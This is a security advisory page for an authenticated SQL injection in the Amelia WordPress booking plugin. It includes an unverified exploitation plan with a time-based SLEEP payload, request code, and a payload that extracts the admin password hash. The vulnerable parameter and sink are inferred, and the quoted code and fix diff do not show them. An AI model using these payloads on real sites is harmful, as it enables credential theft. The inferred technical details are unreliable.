CVE-2026-39487

Amelia <= 2.1.1 - Authenticated (Custom role+) SQL Injection

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
2.1.2
Patched in
22d
Time to patch

Description

The Amelia plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 2.1.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with custom role-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=2.1.1
PublishedMarch 25, 2026
Last updatedApril 15, 2026
Affected pluginameliabooking

What Changed in the Fix

Changes introduced in v2.1.2

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-39487 (Amelia SQL Injection) ## 1. Vulnerability Summary The **Amelia** plugin (versions <= 2.1.1) is vulnerable to an authenticated SQL injection. The vulnerability exists within the backend API, specifically where user-supplied sorting or filtering parameter…

Show full research plan

Exploitation Research Plan: CVE-2026-39487 (Amelia SQL Injection)

1. Vulnerability Summary

The Amelia plugin (versions <= 2.1.1) is vulnerable to an authenticated SQL injection. The vulnerability exists within the backend API, specifically where user-supplied sorting or filtering parameters are insufficiently sanitized before being concatenated into raw SQL queries within the plugin's Repository layer.

Although the plugin uses a Slim-based architecture and attempts to use wpdb for database interactions, certain code paths (particularly those handling complex entity listings with dynamic ORDER BY or LIMIT clauses) fail to use $wpdb->prepare() correctly for the sorting parameters. This allow users with "Amelia Provider" (Employee) or "Amelia Manager" roles to inject arbitrary SQL.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • WordPress Action: wpamelia_api (defined in ameliabooking.php as AMELIA_ACTION_SLUG)
  • Vulnerable Parameter: order or orderBy (inferred from typical Amelia API list patterns)
  • Required Authentication: "Custom role+" — This refers to the Amelia Employee (wpamelia-provider) or Amelia Manager (wpamelia-manager) roles.
  • Preconditions: The attacker must be logged in as a user assigned one of the Amelia-specific roles.

3. Code Flow

  1. Entry Point: A request is sent to admin-ajax.php?action=wpamelia_api&call=[ROUTE].
  2. Dispatch: Plugin::wpAmeliaApiCall() in ameliabooking.php is triggered.
  3. App Initialization: It loads the Slim container (src/Infrastructure/ContainerConfig/container.php) and registers routes via Routes::routes().
  4. Routing: The call parameter (e.g., /appointments or /entities) maps to a specific Controller/Handler.
  5. Logic: The Controller retrieves parameters from the request (using $request->getQueryParams()).
  6. Sink: The parameters are passed to a Domain Service or Infrastructure Repository (e.g., AppointmentRepository). The Repository builds a query string like:
    $sql = "SELECT * FROM {$wpdb->prefix}amelia_appointments ORDER BY " . $params['order'];
    $results = $wpdb->get_results($sql); // INJECTION POINT: No prepare() or validation on $params['order']
    

4. Nonce Acquisition Strategy

Amelia uses nonces for its API calls. These are typically localized into a global JavaScript object available in the WordPress dashboard.

  1. Role Setup: Use WP-CLI to create an Amelia Employee user.
  2. Page Navigation: Navigate to any Amelia admin page (e.g., /wp-admin/admin.php?page=wpamelia-appointments).
  3. Extraction: Use browser_eval to extract the nonce from the wpAmeliaLabels object.
    • JS Variable: window.wpAmeliaLabels
    • Nonce Key: nonce
    • Command: browser_eval("window.wpAmeliaLabels.nonce")

The API also requires the nonce to be sent in the Amelia-Nonce (or sometimes X-Amelia-Nonce) HTTP header.

5. Exploitation Strategy

We will use a time-based blind SQL injection against the /entities or /appointments endpoint, as it is a common listing endpoint accessible to Providers.

Step 1: Authentication and Nonce Extraction

  • Log in to the WordPress dashboard as the Amelia Provider.
  • Navigate to wp-admin/admin.php?page=wpamelia-appointments.
  • Extract the nonce using the strategy in Section 4.

Step 2: Trigger SQL Injection (Time-Based)

  • Method: GET
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Params:
    • action: wpamelia_api
    • call: /entities
    • order: (SELECT 1 FROM (SELECT(SLEEP(5)))a)
  • Headers:
    • Amelia-Nonce: [EXTRACTED_NONCE]

Request Example (Playwright):

const response = await http_request({
  method: 'GET',
  url: 'http://localhost:8080/wp-admin/admin-ajax.php?action=wpamelia_api&call=/entities&order=(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)',
  headers: {
    'Amelia-Nonce': extractedNonce,
    'Cookie': authCookies
  }
});

Step 3: Data Extraction (Boolean-Based)

Once sleep is confirmed, we can extract the admin's password hash by testing character values:

  • Payload for order: (CASE WHEN (ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36) THEN id ELSE (SELECT SLEEP(5)) END) (Tests if first char is '$', which is standard for phpass).

6. Test Data Setup

  1. Roles: Ensure Amelia is installed and roles are initialized.
    • wp user create attacker attacker@example.com --role=subscriber
    • Use Amelia's internal settings to promote this user to a "Provider" or use wp user add-role attacker wpamelia-provider.
  2. Content: Create at least one Appointment or Event in Amelia so the queries have data to sort.
  3. Admin User: Ensure the primary admin (ID=1) exists for credential extraction testing.

7. Expected Results

  • Success (Vulnerable): The HTTP request to admin-ajax.php takes ~5 seconds to return.
  • Fail (Patched): The request returns immediately with a 200 OK (but no sleep) or a 400/500 error if the input is validated/escaped.
  • Response Content: Amelia API usually returns a JSON object with a data key.

8. Verification Steps

After the exploit, verify via WP-CLI:

  1. Check Logs: If WP_DEBUG is on, check wp-content/debug.log for SQL errors if the payload was slightly malformed.
  2. Database Integrity: Verify that no data was corrupted (since we used a read-only SLEEP payload).

9. Alternative Approaches

  • Different Endpoint: If /entities is not vulnerable, try:
    • call=/appointments
    • call=/events
    • call=/users/providers
  • UNION-Based: If the response body reflects the sorting order or data, attempt to find the column count:
    • order=1, (SELECT 1 UNION SELECT 2)...
  • Error-Based: If WP_DEBUG is enabled, use updatexml() or extractvalue() to leak data directly in the AJAX response.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Amelia plugin for WordPress is vulnerable to authenticated SQL Injection via the API due to insufficient sanitization of sorting parameters like 'order' and 'orderBy'. Attackers with Amelia Provider or Manager roles can exploit this to execute arbitrary SQL queries, potentially leaking sensitive database information.

Vulnerable Code

// ameliabooking.php line 173
public static function wpAmeliaApiCall()
{
    try {
        /** @var Container $container */
        $container = require AMELIA_PATH . '/src/Infrastructure/ContainerConfig/container.php';

        $app = new App($container);

        // Initialize all API routes
        Routes::routes($app, $container);

        $app->run();

        exit();
    } catch (Exception $e) {
        echo 'ERROR: ' . esc_html($e->getMessage());
    }
}

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/ameliabooking/2.1.1/ameliabooking.php	2026-03-04 08:14:44.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/ameliabooking/2.1.2/ameliabooking.php	2026-03-10 10:09:14.000000000 +0000
@@ -3,7 +3,7 @@
 Plugin Name: Amelia
 Plugin URI: https://wpamelia.com/
 Description: Amelia is a simple yet powerful automated booking specialist, working 24/7 to make sure your customers can make appointments and events even while you sleep!
-Version: 2.1.1
+Version: 2.1.2
 Author: Melograno Ventures
 Author URI: https://melograno.io/
 Text Domain: ameliabooking
@@ -109,7 +109,7 @@
 
 // Const for Amelia version
 if (!defined('AMELIA_VERSION')) {
-    define('AMELIA_VERSION', '2.1.1');
+    define('AMELIA_VERSION', '2.1.2');
 }

Exploit Outline

The exploit requires authentication as a user with an Amelia-specific role (e.g., 'Amelia Provider' or 'Amelia Manager'). First, the attacker extracts a valid API nonce from the 'wpAmeliaLabels' JavaScript object on any Amelia admin page. Next, they send a GET request to the WordPress AJAX endpoint with 'action=wpamelia_api' and a 'call' parameter pointing to a listing resource (like /appointments, /events, or /entities). The SQL injection is triggered by providing a time-based or boolean-based payload in the 'order' or 'orderBy' query parameter, which is concatenated into the raw SQL query in the plugin's repository layer without proper preparation.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.